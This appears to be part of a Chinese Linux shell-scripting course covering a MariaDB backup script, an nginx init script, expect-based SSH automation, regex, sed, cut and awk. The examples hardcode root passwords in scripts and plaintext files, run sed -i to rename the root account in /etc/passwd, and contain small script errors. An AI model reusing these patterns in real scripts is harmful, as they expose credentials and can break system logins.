[root@localhost ~]# rpm -qf /usr/bin/mysql
mariadb-5.5.56-2.el7.x86_64
[root@localhost ~]# systemctl start mariadb

登录mysql:

[root@localhost ~]# mysqladmin  -u root password "123456"   #给root用户配置一个密码123456
[root@localhost ~]# mysql -u root -p123456  #登录mysql数据库
MariaDB [(none)]> show databases;
MariaDB [(none)]> create database xuegod  ;    #创建xuegod数据库
MariaDB [(none)]> use xuegod        #选择数据库
MariaDB [xuegod]> create table user (id int);   #创建user表,只有一个id字段
MariaDB [xuegod]> insert into user values(1);   #插入一条记录,id字段值1
MariaDB [xuegod]> insert into user values(2);   #插入一条记录,id字段值2
MariaDB [xuegod]> select * from user;   #查看表中的数据
+------+
| id   |
+------+
|    1 |
|    2 |
+------+

mysql自动化备份脚本:

思路:

1、检查一下运行环境: 目录是否存在,时间,权限,用户

2、运行要执行的命令:备份,导出数据。。。

3、把命令执行过程中的没有用的文件删除一下

4、弹出命令运行成功的消息

[root@localhost shell]# cat mysql-back-auto.sh 
#!/bin/sh 
#auto backup mysql 
#Define PATH定义变量
BAKDIR=/data/backup/mysql/`date +%Y-%m-%d` 
MYSQLDB=xuegod
#MYSQLDB=webapp 
MYSQLUSR=root
#MYSQLUSR=backup 
MYSQLPW=123456
#MYSQLPW=backup     #mysql数据库密码 
#must use root user run scripts 必须使用root用户运行,$UID为系统变量
if 
   [ $UID -ne 0 ];then 
   echo This script must use the root user ! ! ! 
   sleep 2 
   exit 0 
fi 
#Define DIR and mkdir DIR 判断目录是否存在,不存在则新建
if 
   [ ! -d $BAKDIR ];then 
   mkdir -p $BAKDIR 
else 
   echo This is $BAKDIR exists.... 
   exit
fi 
#Use mysqldump backup mysql 使用mysqldump备份数据库
/usr/bin/mysqldump -u$MYSQLUSR  -p$MYSQLPW   $MYSQLDB > $BAKDIR/${MYSQLDB}_db.sql 
cd $BAKDIR ; tar -czf  ${MYSQLDB}_db.tar.gz *.sql 
#查找备份目录下以.sql结尾的文件并删除
find  $BAKDIR  -type f -name *.sql -exec rm -rf {} \;
#或
#如果数据库备份成功,则打印成功,并删除备份目录30天以前的目录
[ $? -eq 0 ] && echo “This `date +%Y-%m-%d` MySQL BACKUP is SUCCESS” 
cd /data/backup/mysql/  &&  find .  -type d  -mtime +30 |xargs rm -rf 
echo "The mysql backup successfully "

22.4.2 nginx服务启动脚本

此nginx脚本中使用了函数功能,让脚本具有更强的可读性

[root@localhost ~]# vim /etc/init.d/nginx    
#!/bin/bash
#chkconfig: 2345 80 90
#description:nginx run

# nginx启动脚本
# @author	Devil
# @version	0.0.1
# @date		2018-05-29

PATH=/data/soft/nginx
DESC="nginx daemon"
NAME=nginx
DAEMON=$PATH/sbin/$NAME   #/data/soft/nginx/sbin/nginx
CONFIGFILE=$PATH/$NAME.conf
PIDFILE=$PATH/$NAME.pid
SCRIPTNAME=/etc/init.d/$NAME
[ -x "$DAEMON" ] || exit 0
do_start()
{
	$DAEMON -c $CONFIGFILE || echo -n "nginx already running"
}
do_stop()
{
	$DAEMON -s stop || echo -n "nginx not running"
}
do_reload()
{
	$DAEMON -s reload || echo -n "nginx can't reload"
}
case "$1" in
	start)
		echo -n "Starting $DESC: $NAME"
		do_start
		echo "."
	;;
	stop)
		echo -n "Stopping $DESC: $NAME"
		do_stop
		echo "."
	;;
	reload|graceful)
		echo -n "Reloading $DESC configuration..."
		do_reload
		echo "."
	;;
	restart)
		echo -n "Restarting $DESC: $NAME"
		do_stop
		do_start
		echo "."
	;;
	*)
		echo "Usage: $SCRIPTNAME {start|stop|reload|restart}" >&2
		exit 3
	;;
esac
exit 0

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

第二十三章 expect-正则表达式-sed-cut的使用

23.1 expect实现无交互登录

expect ([ɪkˈspekt] 期待 )是从它发展出来的。如果你想要写一个能够自动处理输入输出的脚本(如向用户提问并且验证密码)又不想面对C或者Perl,那么expect是你的最好的选择。它可以用来做一些linux下无法做到交互的一些命令操作

23.1.1 安装和使用expect

[root@localhost ~]# yum -y install expect

使用expect创建脚本的方法

1)定义脚本执行的shell

        #!/usr/bin/expect

        这里定义的是expect可执行文件的链接路径(或真实路径),功能类似于bash等shell功能

2)set timeout 30

        设置超时时间,单位是秒,如果设为timeout -1 意为永不超时

3)spawn

        spawn 是进入expect环境后才能执行的内部命令,如果没有装expect或者直接在默认的SHELL下执行是找不到spawn命令的。不能直接在默认的shell环境中进行执行主要功能,它主要的功能是给ssh运行进程加个壳,用来传递交互指令。

4)expect

        这里的expect同样是expect的内部命令

        主要功能:判断输出结果是否包含某项字符串,没有则立即返回,否则就等待一段时间后返回,等待时间通过timeout进行设置

5)send

        执行交互动作,将交互要执行的动作进行输入给交互指令

        命令字符串结尾要加上"\r",如果出现异常等待的状态可以进行核查

6)exp_continue

        继续执行接下来的交互操作

7)interact

        执行完后保持交互状态,把控制权交给控制台;如果不加这一项,交互完成会自动退出

8)$argv

        expect 脚本可以接受从bash传递过来的参数,可以使用 [lindex $argv n]获得,n从0开始,分别表示第一个,第二个,第三个……参数

例1:免密码通过SSH登录服务器(了解) 这里不是用密钥

注:运行脚本时,要把#号后面的注释删除,不然无法运行

[root@localhost ~]# cat ssh.exp 
#!/usr/bin/expect
set ipaddr "192.168.1.63"
set name "root"
set passwd "123456"
set timeout 30    #设置超时时间,单位是秒;expect超时等待的时间。默认timeout为10s。
spawn ssh $name@$ipaddr   # spawn是进入expect环境后才可以执行的expect内部命令,如果没有装expect或者直接在shell下执行是找不到spawn命令的。这个就好比cd是shell的内建命令,离开shell,就无法执行cd一样。 它主要的功能是给ssh运行进程加个壳,用来传递交互指令。  
expect {
"yes/no" { send "yes\r";exp_continue }
"password" { send "$passwd\r" }   #执行交互动作,与手工输入密码的动作等效。
}

expect "#"   #判断上次输出结果里是否包含“password:”的字符串,如果有则立即返回,向下执行;否则就一直等待,直到超时时间到
send "touch /root/xuegod1011.txt\r"
send "ls /etc > /root/xuegod1011.txt\r"
send "mkdir /tmp/xuegod1011\r"
send "exit\r"
expect eof   #执行完成上述命令后,退出Expect,把控制权交给控制台,变回手工操作
[root@localhost ~]# expect ssh.exp   #开始执行

例2:对服务器批量管理(了解一下)

[root@localhost ~]# cat ip_pass.txt    #这里写上要执行的IP地址和root用户密码
192.168.1.63  123456
192.168.1.63  123456
192.168.1.63  123456
[root@localhost ~]# cat ssh2.exp   #编写要执行的操作
#!/usr/bin/expect

set ipaddr [lindex $argv 0]
set passwd [lindex $argv 1]
set timeout 30
spawn ssh root@$ipaddr
expect {
"yes/no" { send "yes\r";exp_continue }
"password" { send "$passwd\r" }
}

expect "#"
send "touch /root/xuegod1011.txt\r"
send "ls /etc > /root/xuegod1011.txt\r"
send "mkdir /tmp/xuegod1011\r"
send "exit\r"
expect eof
[root@localhost ~]# cat login.sh    #开始执行
#!/bin/bash
echo
for ip in `awk '{print $1}' /root/ip_pass.txt`
do
	pass=`grep $ip /root/ip_pass.txt|awk '{print $2}'`
	expect /root/ssh.exp $ip $pass
done

23.2 正则表达式的使用

 正则表达式,又称规则表达式。(英语:Regular Expression [ˈreɡjulə] 规则的 [ iksˈpreʃən] 表达 ),在代码中常简写为regex、regexp或RE),计算机科学的一个概念。正则表达式通常被用来检索、替换那些符合某个模式(规则)的文本。

正则表达式不只有一种,而且LINUX中不同的程序可能会使用不同的正则表达式,如:

工具:grep sed awk

LINUX中常用的有两种正则表达式引擎

基础正则表达式:BRE

扩展正则表达式: ERE

23.2.1 Shell正则表达式的组成

基础正则表达式

特别字符

描述

$

匹配输入字符串的结尾位置。要匹配 $ 字符本身,请使用 \$

( )

标记一个子表达式的开始和结束位置。要匹配这些字符,请使用 \( 和 \)

*

匹配前面的子表达式零次或多次。要匹配 * 字符,请使用 \*

+

匹配前面的子表达式一次或多次。要匹配 + 字符,请使用 \+

.

匹配除换行符 \n 之外的任何单字符。要匹配 . ,请使用 \.

[

标记一个中括号表达式的开始。要匹配 [,请使用 \[

?

匹配前面的子表达式零次或一次,或指明一个非贪婪限定符。要匹配 ? 字符,请使用 \?

\

将下一个字符标记为或特殊字符、或原义字符、或向后引用、或八进制转义符。例如, 'n' 匹配字符 'n'。'\n' 匹配换行符。序列 '\\' 匹配 "\",而 '\(' 则匹配 "("

^

匹配输入字符串的开始位置,除非在方括号表达式中使用,此时它表示不接受该字符集合。要匹配 ^ 字符本身,请使用 \^

{

标记限定符表达式的开始。要匹配 {,请使用 \{

|

指明两项之间的一个选择。要匹配 |,请使用 \| 如: Y | y

定位符

^

匹配输入字符串开始的位置

$

匹配输入字符串结尾的位置

非打印字符

\n

匹配一个换行符

\r

匹配一个回车符

\t

匹配一个制表符

例:统计/etc/ssh/sshd_config文件中除去空行和#号开头的行的行数

[root@localhost ~]# grep -v "^$\|^#" /etc/ssh/sshd_config      #使用基础正则表达式
[root@localhost ~]# grep -E -v "^$|^#" /etc/ssh/sshd_config    #扩展正则表达式
[root@localhost ~]# egrep -v "^$|^#" /etc/ssh/sshd_config      #扩展正则表达式

例2:点字符

[root@localhost ~]# grep .ot /etc/passwd   #查找passwd文件包括.ot 的字符
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/sbin/nologin
setroubleshoot:x:993:990::/var/lib/setroubleshoot:/sbin/nologin

23.3 sed流编辑器

23.3.1 sed strem editor 流编辑器

sed编辑器是一行一行的处理文件内容的。正在处理的内容存放在模式空间(缓冲区)内,处理完成后按照选项的规定进行输出或文件的修改。

接着处理下一行,这样不断重复,直到文件末尾。文件内容并没有改变,除非你使用重定向存储输出。Sed主要用来自动编辑一个或多个文件;简化对文件的反复操作;

sed也是支持正则表达式的,如果要使用扩展正则加参数-r

sed的执行过程:

一次读取一行数据

根据我们提供的规则来匹配相关的数据,比如查找root。

按照命令修改数据流中的数据,比如替换

将结果进行输出

重复上面四步

23.3.2 如何使用

语法格式:sed [options] ‘[commands]’ filename

例1:

[root@localhost ~]# echo "this is aplle" | sed 's/aplle/dog/'
this is dog
[root@localhost ~]# echo "this is aplle" > a.txt
[root@localhost ~]# sed 's/apple/dog/' a.txt
this is aplle
[root@localhost ~]# cat a.txt  #发现并没有修改文件
this is aplle

23.3.3 sed选项|参数

options:

                -a 在当前行下面插入文件

                -n 读取下一个输入行,用下一个命令处理新的行而不是用第一个命令

                -e 执行多个sed指令

                -f 运行脚本

                -i 编辑文件内容 ***

                -i.bak 编辑的同时创造.bak的备份

                -r 使用扩展的正则表达式

命令:

                i 在当前行上面插入文件

                c 把选定的行改为新的指定的文本

                p 打印 ***

                d 删除 ***

                r/R 读取文件/一行

                w 另存

                s 查找

                y 替换

                h 拷贝模板块的内容到内存中的缓冲区。

                H 追加模板块的内容到内存中的缓冲区。

                g 获得内存缓冲区的内容,并替代当前模板块中的文本。

                G 获得内存缓冲区的内容,并追加到当前模板块文本的后面

                D 删除\n之前的内容

                P 打印\n之前的内容

替换标记:

数字:表明新文本将替换第几处模式匹配的地方

                g:表示新文本将会替换所有匹配的文本

                \1:子串匹配标记,前面搜索可以用元字符集\(..\),

                &:保留搜索到的字符用来替换其它字符

sed匹配字符集

                ^ 匹配行开始,如:/^sed/匹配所有以sed开头的行。

                $ 匹配行结束,如:/sed$/匹配所有以sed结尾的行。

                . 匹配一个非换行符的任意字符,如:/s.d/匹配s后接一个任意字符,最后是d。

                * 匹配0个或多个字符,如:/*sed/匹配所有模板是一个或多个空格后紧跟sed的行。

例1:s 只替换第一个匹配到的字符,将passwd中的root用户替换成xuegod

[root@localhost ~]#  sed 's/root/xuegod/'   /etc/passwd
xuegod:x:0:0:root:/root:/bin/bash   #发现只替换了第一个匹配的root,后面的没有替换
bin:x:1:1:bin:/bin:/sbin/nologin

例2:全面替换标记g

[root@localhost ~]#  sed 's/root/xuegod/g'   /etc/passwd  |more
xuegod:x:0:0:xuegod:/xuegod:/bin/bash    #全部替换了

例3: 将sed中默认的/ 定界符改成#号

[root@localhost ~]# sed 's#/bin/bash#/sbin/nologin#' /etc/passwd  | more 
root:x:0:0:root:/root:/sbin/nologin
bin:x:1:1:bin:/bin:/sbin/nologin
以/来做定界符:
[root@localhost ~]# sed 's/\/bin\/bash/\/sbin\/nologin/' /etc/passwd

(2)按行查找替换

写法如下:

用数字表示行范围;$表示行尾

用文本模式配置来过滤

例1:单行替换,将第2行中bin替换成xuegod

[root@localhost ~]# sed '2s/bin/xuegod/' /etc/passwd  | more
root:x:0:0:root:/root:/bin/bash
xuegod:x:1:1:bin:/bin:/sbin/nologin

例2:多行替换,如果涉及到多行处理,用逗号表示行间隔。 将第3行到最行尾中bin替换成xuegod

[root@localhost ~]# sed '2,$s/bin/xuegod/' /etc/passwd  | more
root:x:0:0:root:/root:/bin/bash
xuegod:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sxuegod:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sxuegod/nologin

(3)d 删除第2行到第4行的内容

[root@localhost ~]# cat /etc/hosts
127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
192.168.1.63   localhost.cn
192.168.1.64   xuegod64.cn
192.168.1.62   xuegod62.cn
[root@localhost ~]#  sed '2,4d' /etc/hosts
127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
192.168.1.62   xuegod62.cn
[root@localhost ~]# sed '/192.168/d' /etc/hosts  #将包括192.168的行删除
127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6

(4)添加行

命令i(insert插入),在当前行前面插入一行 i\

命令a(append附加),在当前行后面添加一行 a\

例1:插入

[root@localhost ~]# echo "hello world" | sed  'i\ xuegod '
 xuegod 
hello worl

例2:追加

[root@localhost ~]#  echo "hello world"|sed 'a\xuegod'
hello world
xuegod

例3:在文件最后追加内容

[root@localhost ~]#   sed '$a\192.168.1.65 xuegod65.cn'   /etc/hosts 
127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
192.168.1.63   localhost.cn
192.168.1.64   xuegod64.cn
192.168.1.62   xuegod62.cn
192.168.1.65 xuegod65.cn

例4:在文件中第2行之后,开始追加内容

[root@localhost ~]#   sed '2a\192.168.1.65 xuegod65.cn'   /etc/hosts 
127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
192.168.1.65 xuegod65.cn
192.168.1.63   localhost.cn
192.168.1.64   xuegod64.cn
192.168.1.62   xuegod62.cn

例5:在文件中第2行到第4行之后分别追加内容

[root@localhost ~]#  sed '2,4a\hello world' word1.txt 
[root@localhost ~]#   sed '2,4a\192.168.1.65 xuegod65.cn'   /etc/hosts 
127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
192.168.1.65 xuegod65.cn
192.168.1.63   localhost.cn
192.168.1.65 xuegod65.cn
192.168.1.64   xuegod64.cn
192.168.1.65 xuegod65.cn
192.168.1.62   xuegod62.cn

n

(5)修改行命令c (change) c\

例1:将第4行内容改成192.168.1.65 xuegod65.cn

[root@localhost ~]# cat /etc/hosts
127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
192.168.1.63   localhost.cn
192.168.1.64   xuegod64.cn
192.168.1.62   xuegod62.cn 
[root@localhost ~]#   sed '4c\192.168.1.65 xuegod65.cn'  /etc/hosts

例2:将第2行到最后全部修改成192.168.1.65 xuegod65.cn

[root@localhost ~]#   sed '2,$c\192.168.1.65 xuegod65.cn'  /etc/hosts  
127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
192.168.1.65 xuegod65.cn

例3:将包括192.168.1.64行的内容修改成192.168.1.65

[root@localhost ~]# sed '/192.168.1.64/c\192.168.1.65' /etc/hosts
127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
192.168.1.63   localhost.cn
192.168.1.65
192.168.1.62   xuegod62.cn

(6)打印,直接输入文件中的内容

例1:输入第2行内容

[root@localhost ~]# sed -n '2p' /etc/hosts
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6

(7)将修改或过滤出来的内容保存到另一个文件中

例2:将passwd中的包括root字样的行保存到 c.txt 中

[root@localhost ~]# sed -n '/root/w c.txt' /etc/passwd

[root@localhost ~]# cat c.txt
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/sbin/nologin

(8)-i 对原文件修改,保存( 必会 ) 使用场景: 替换或修改服务器配置文件

[root@localhost ~]# cp /etc/passwd /opt/ 
[root@localhost ~]# sed -i 's/root/xuegod/'  /etc/passwd
[root@localhost ~]# head -n 1 /etc/passwd
xuegod:x:0:0:root:/root:/bin/bash 

修改IP地址为192.168.1.65

[root@localhost ~]# sed -i 's/IPADDR=192.168.1.63/IPADDR=192.168.1.65/' /etc/sysconfig/network-scripts/ifcfg-ens33

23.4 cut命令

23.4.1 cut常用参数

cut命令用来显示行中的指定部分,删除文件中指定字段。

说明:该命令有两项功能,其一是用来显示文件的内容,它依次读取由参数file所指明的文件,将它们的内容输出到标准输出上;其二是连接两个或多个文件,如cut fl f2 > f3将把文件fl和fn的内容合并起来,然后通过输出重定向符“>”的作用,将它们放入文件f3中。

语法: cut(选项)(参数)

选项

-b:仅显示行中指定范围的字节数;

-c:仅显示行中指定范围的字符;

-d:指定字段的分隔符,默认的字段分隔符为“TAB”;

-f:显示指定字段的内容;

例1:输出系统中所有用户名

使用 -f 选项提取指定字段,使用 -d 选项指定字段分隔符,这里以:冒号做分隔

[root@localhost ~]# cut -f1 -d ":" /etc/passwd

23.4.2 cut命令可以将一串字符作为列来显示,字符字段的记法

N-:从第N个字节、字符、字段到结尾;

N-M:从第N个字节、字符、字段到第M个(包括M在内)字节、字符、字段;

-M:从第1个字节、字符、字段到第M个(包括M在内)字节、字符、字段。

上面是记法,结合下面选项将摸个范围的字节、字符指定为字段:

-b 表示字节;

-c 表示字符;

-f 表示定义字段。

示例

例1:打印第1个到第3个字符:

[root@localhost ~]# cut -c1-3 /etc/passwd

例2:打印前2个字符:

[root@localhost ~]# cut -c-2 /etc/passwd

例3:打印从第5个字符开始到结尾:

[root@localhost ~]# cut -c5- /etc/passwd

23.5 实战-bash脚本语法检查和查看详细的执行过程

检查语法是否有错:

bash -v test.bash #查看bash是否存在语法错误

bash -x test.bash #查看bash详细的执行过程

[root@localhost ~]# cat a.sh
# Script to show debug of shell
#
tot=`expr $1 + $2`
secho $tot   #这里故意写错

[root@localhost ~]# bash -v a.sh
# Script to show debug of shell
#
tot=`expr $1 + $2`
expr: 语法错误    #语法哪错了?   运行时没有给参数
secho $tot   #这里故意写错
a.sh:行4: secho: 未找到命令

[root@localhost ~]# sed -i 's/secho/echo/' a.sh  #修改正确后
[root@localhost ~]# bash -x a.sh 2 3   #查看详细执行过程。 注:这个脚本是真正执行一遍,不是预执行
++ expr 2 + 3
+ tot=5
+ echo 5

例2:查看九九乘法表shell脚本运行过程

[root@localhost ~]# cat 99.sh 
for i in  `seq 9`
do
         for j in `seq $i`
         do
              echo  -n  "$i*$j= `echo $(($i*$j))` "
         done
        echo "  "
done

root@localhost ~]# bash -x 99.sh

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ 

 第二十四章 shell中色彩处理和awk使用技巧

24.1 Shell中的色彩处理

shell脚本中echo显示内容带颜色显示,echo显示带颜色,需要使用参数-e

格式1: echo -e “\033[背景颜色;文字颜色m 要输出的字符 \033[0m”

格式2:echo -e “\e[背景颜色;文字颜色m要输出的字符\e[0m”

例:绿底蓝字

[root@localhost ~]# echo -e "\033[42;34m hello world\033[0m"
[root@localhost ~]# echo -e "\e[42;34m hello world\e[0m"

如图:

注:其中42的位置代表底色,34的位置代表的是字的颜色,0m是清除所有格式

1、字背景颜色和文字颜色之间是英文的分号";"

2、文字颜色后面有个m

3、字符串前后可以没有空格,如果有的话,输出也是同样有空格

4、echo显示带颜色,需要使用参数-e ,-e 允许对下面列出的加反斜线转义的字符进行解释.

控制选项:

\033[0m 关闭所有属性

\033[1m 设置高亮度,加粗

\033[5m 闪烁

[root@localhost ~]# echo -e "\e[42;34m hello world\e[5m"  #执行后,发现后期所有输出都闪烁状态,如何关闭?

[root@localhost ~]# echo -e "\e[42;34m hello world\e[0m"   #可以使用\033[0m 关闭所有属性

常见shell输入带颜色文字: 3x代表字的颜色,4x代表背景色

echo -e "\033[30m 黑色字 \033[0m"

echo -e "\033[31m 红色字 \033[0m"

echo -e "\033[32m 绿色字 \033[0m"

echo -e "\033[33m 黄色字 \033[0m"

echo -e "\033[34m 蓝色字 \033[0m"

echo -e "\033[35m 紫色字 \033[0m"

echo -e "\033[36m 天蓝字 \033[0m"

echo -e "\033[37m 白色字 \033[0m"

echo -e "\033[40;37m 黑底白字 \033[0m"

echo -e "\033[41;37m 红底白字 \033[0m"

echo -e "\033[42;37m 绿底白字 \033[0m"

echo -e "\033[43;37m 黄底白字 \033[0m"

echo -e "\033[44;37m 蓝底白字 \033[0m"

echo -e "\033[45;37m 紫底白字 \033[0m"

echo -e "\033[46;37m 天蓝底白字 \033[0m"

echo -e "\033[47;30m 白底黑字 \033[0m"

24.2 awk基本应用

grep和egrep:文本过滤的

sed:流编辑器,实现编辑的

awk:文本报告生成器,实现格式化文本输出

24.2.1 概念

AWK是一种优良的文本处理工具,Linux及Unix环境中现有的功能最强大的数据处理引擎之一。这种编程及数据操作语言的最大功能取决于一个人所拥有的知识。awk命名:Alfred Aho Peter 、Weinberger和brian kernighan三个人的姓的缩写。

awk---->gawk 即: gun awk

在linux上常用的是gawk,awk是gawk的链接文件

man gawk----》pattern scanning and processing language 模式扫描和处理语言。

pattern [ˈpætn] 模式 ; process [ˈprəʊses] 处理

任何awk语句都是由模式和动作组成,一个awk脚本可以有多个语句。模式决定动作语句的触发条件和触发时间。

模式:

正则表达式 : /root/ 匹配含有root的行 /*.root/

关系表达式: < > && || + *

匹配表达式: ~ !~

动作:

变量 命令 内置函数 流控制语句

它的语法结构如下:

awk [options] 'BEGIN{ print "start" } ‘pattern{ commands }’ END{ print "end" }' file

其中:BEGIN END是AWK的关键字部,因此必须大写;这两个部分开始块和结束块是可选的

特殊模块:

BEGIN语句设置计数和打印头部信息,在任何动作之前进行

END语句输出统计结果,在完成动作之后执行

 通过上面我们可以知道;AWK它工作通过三个步骤

1、读:从文件、管道或标准输入中读入一行然后把它存放到内存中

2、执行:对每一行数据,根据AWK命令按顺序执行。默认情况是处理每一行数据,也可以指定模式

3、重复:一直重复上述两个过程直到文件结束

AWK支持两种不同类型的变量:内建变量,自定义变量

awk内置变量(预定义变量)

$n 当前记录的第n个字段,比如: $1表示第一个字段,$2表示第二个字段

$0 这个变量包含执行过程中当前行的文本内容

FILENAME 当前输入文件的名

FS 字段分隔符(默认是空格)

NF 表示字段数,在执行过程中对应于当前的字段数,NF:列的个数

FNR 各文件分别计数的行号

NR 表示记录数,在执行过程中对应于当前的行号

OFS 输出字段分隔符(默认值是一个空格)

ORS 输出记录分隔符(默认值是一个换行符)

RS 记录分隔符(默认是一个换行符)

24.2.2 实例演示

常用的命令选项:

-F fs指定分隔符

-v 赋值一个用户自定义变量

-f 指定脚本文件,从脚本中读取awk命令

(1)分隔符的使用

用法:-Ffs 其中fs是指定输入分隔符,fs可以是字符串或正则表达式;分隔符默认是空格

常见写法:-F: -F, -F[Aa]

例1:

[root@localhost ~]# echo "AA BB CC DD"|awk '{print $2}'
BB
[root@localhost ~]# echo "AA|BB|CC|DD"|awk -F"|" '{print $2}'
BB
[root@localhost ~]# echo "AA,BB,CC,DD"|awk -F"," '{print $2}'
BB
[root@localhost ~]# echo "AA,BB,CC,DD"|awk -F, '{print $2}'
BB
[root@localhost ~]# awk -F: '{print $1}' /etc/passwd  #以:分隔,打印第1列用户名

例2:指定多个分隔符

[root@localhost ~]# echo "12AxAbADXaAD52" | awk -F"[aA]" '{print $6}'
D52

例3:使用FS指定分隔符

[root@localhost ~]# echo "12AxAbADXaAD52" | awk 'BEGIN {FS="aA"} {print $2}'
D52

例4:过滤出本系统的IP地址

[root@localhost ~]# ifconfig ens33 | grep netmask
        inet 192.168.1.63  netmask 255.255.255.0  broadcast 192.168.1.255
[root@localhost ~]# ifconfig ens33 | grep netmask | awk '{print $2}'
192.168.1.63

(2)关系运算符的使用

例1:

[root@localhost ~]# echo "3 2 3 4 5" > a.txt
[root@localhost ~]# awk '{print $1+10}'  a.txt 
13

例2:

[root@localhost ~]# echo "one two three four" | awk '{print $4}'
four
[root@localhost ~]# echo "one two three four" | awk '{print $NF}'
four
[root@localhost ~]# echo "one two three four" | awk '{print $(NF-2)}'  #打印倒数第3列
two
[root@localhost ~]# echo "one two three four" | awk '{print $(NF/2-1)}'
one

例2:打印出passwd文件中用户UID小于10的用户名和它登录使用的shell

参数: $NF 最后一列

[root@localhost ~]# awk -F: '$3<10{print $1 $NF}' /etc/passwd  #直接输出格式太乱
root/bin/bash
bin/sbin/nologin
daemon/sbin/nologin
adm/sbin/nologin
lp/sbin/nologin
sync/bin/sync
shutdown/sbin/shutdown
halt/sbin/halt
mail/sbin/nologin
[root@localhost ~]# awk -F: '$3<10{print $1 "<======>" $NF}' /etc/passwd #awk格式化输出
root<======>/bin/bash
bin<======>/sbin/nologin
daemon<======>/sbin/nologin
在$1和$NF之间加一下\t tab
[root@localhost ~]# awk -F: '$3<10{print $1"\t"$NF}' /etc/passwd  
注:awk 最外面使用了单引号'' ,里面都使用双引号“”

.输出多个列时,可以加,分隔一下.

[root@localhost ~]# awk -F: '$3<10{print $1,$NF}' /etc/passwd

例2:打印出系统中UID大于1000且登录shell是/bin/bash的用户

[root@localhost ~]#  awk -F: '$3>=1000 && $NF=="/bin/bash"{print $1"\t"$NF}' /etc/passwd
mk	/bin/bash

(3)在脚本中的一些应用

例:统计当前内存的使用率

[root@localhost ~]# cat user_cache.sh 
#!/bin/bash
echo "当前系统内存使用百分比为:"
USEFREE=`free -m | grep -i mem | awk '{print $3/$2*100"%"}'`
echo -e "内存使用百分比: \e[31m${USEFREE}\e[0m"
[root@localhost ~]# bash user_cache.sh 
当前系统内存使用百分比为:
内存使用百分比: 28.5248%

24.3 awk高级应用

命令格式:

awk [-F | -f | -v ] ‘BEGIN {} / / {command1;command2} END {}’file

-F 指定分隔符

-f 调用脚本

-v 定义变量

‘{}’ 引用代码块

{…} 命令代码块,包含一条或多条命令

BEGIN 初始化代码块

/ str / 匹配代码块,可以是字符串或正则表达式

{print A;print B} 多条命令使用分号分隔

END 结尾代码块

在awk中,pattern有以下几种:

empty空模式,这个也是我们常用的

/regular expression/ 仅处理能够被这个模式匹配到的行

例:打印以root开头的行

[root@localhost ~]# awk -F: '/^root/{print $0}' /etc/passwd
root:x:0:0:root:/root:/bin/bash

3) 行范围匹配 startline,endline

例1:输出行号大于等于3且行号小于等于6的行

[root@localhost ~]# awk -F: '(NR>=3&&NR<=6){print NR,$0}' /etc/passwd
3 daemon:x:2:2:daemon:/sbin:/sbin/nologin
4 adm:x:3:4:adm:/var/adm:/sbin/nologin
5 lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
6 sync:x:5:0:sync:/sbin:/bin/sync

内置变量的特殊用法:

$0       表示整个当前行

NF     字段数量 NF(Number 数量 ; field 字段)

NR      每行的记录号,多文件记录递增 Record [ˈrekɔ:d]

\t        制表符

\n      换行符

~        匹配

!~      不匹配

-F'[:#/]+'  定义三个分隔符

例1:使用NR行号来定位,然后提取IP地址

注:这个思路很好,之前都是通过 过滤关键字来定位,这次是通过行号,多了一种思路

[root@localhost ~]# ifconfig ens33 | awk -F " " 'NR==2{print $2} '
192.168.1.63

注:NR==2表示行号

例2:NR与FNR的区别

[root@localhost ~]# awk '{print NR"\t" $0}' /etc/hosts /etc/hostname 
1	127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
2	::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
3	192.168.1.63   localhost.cn
4	192.168.1.64   xuegod64.cn
5	192.168.1.64   xuegod62.cn
6	
7	localhost.cn
[root@localhost ~]# awk '{print FNR"\t" $0}' /etc/hosts /etc/hostname 
1	127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
2	::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
3	192.168.1.63   localhost.cn
4	192.168.1.64   xuegod64.cn
5	192.168.1.64   xuegod62.cn
6	
7	localhost.cn

注:对于NR来说,在读取不同的文件时,NR是一直加的 ;

对于FNR来说,在读取不同的文件时,它读取下一个文件时,FNR会从1开始重新计算的

例3:使用3种方法去除首行

方法1:

[root@localhost ~]# route -n | grep -v ^Kernel
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.1.1     0.0.0.0         UG    100    0        0 ens33
192.168.1.0     0.0.0.0         255.255.255.0   U     100    0        0 ens33
192.168.122.0   0.0.0.0         255.255.255.0   U     0      0        0 virbr0

方法2:sed 1d #删除第1行的内容

[root@localhost ~]# route -n | sed 1d

方法3: awk

[root@localhost ~]# route -n | awk 'NR!=1 {print $0}'

例4:匹配,使用awk查出以包括root字符的行 , 有以下3种方法

[root@localhost ~]# awk -F: "/root/{print}" /etc/passwd
[root@localhost ~]# awk -F: "/root/" /etc/passwd
[root@localhost ~]# awk -F: '/root/{print $0}' /etc/passwd

做一个不匹配root行:

[root@localhost ~]# awk -F: '!/root/{print $0}' /etc/passwd

以root开头的行:

[root@localhost ~]# awk -F: '/^root/{print $0}' /etc/passwd

以bash结尾的行:

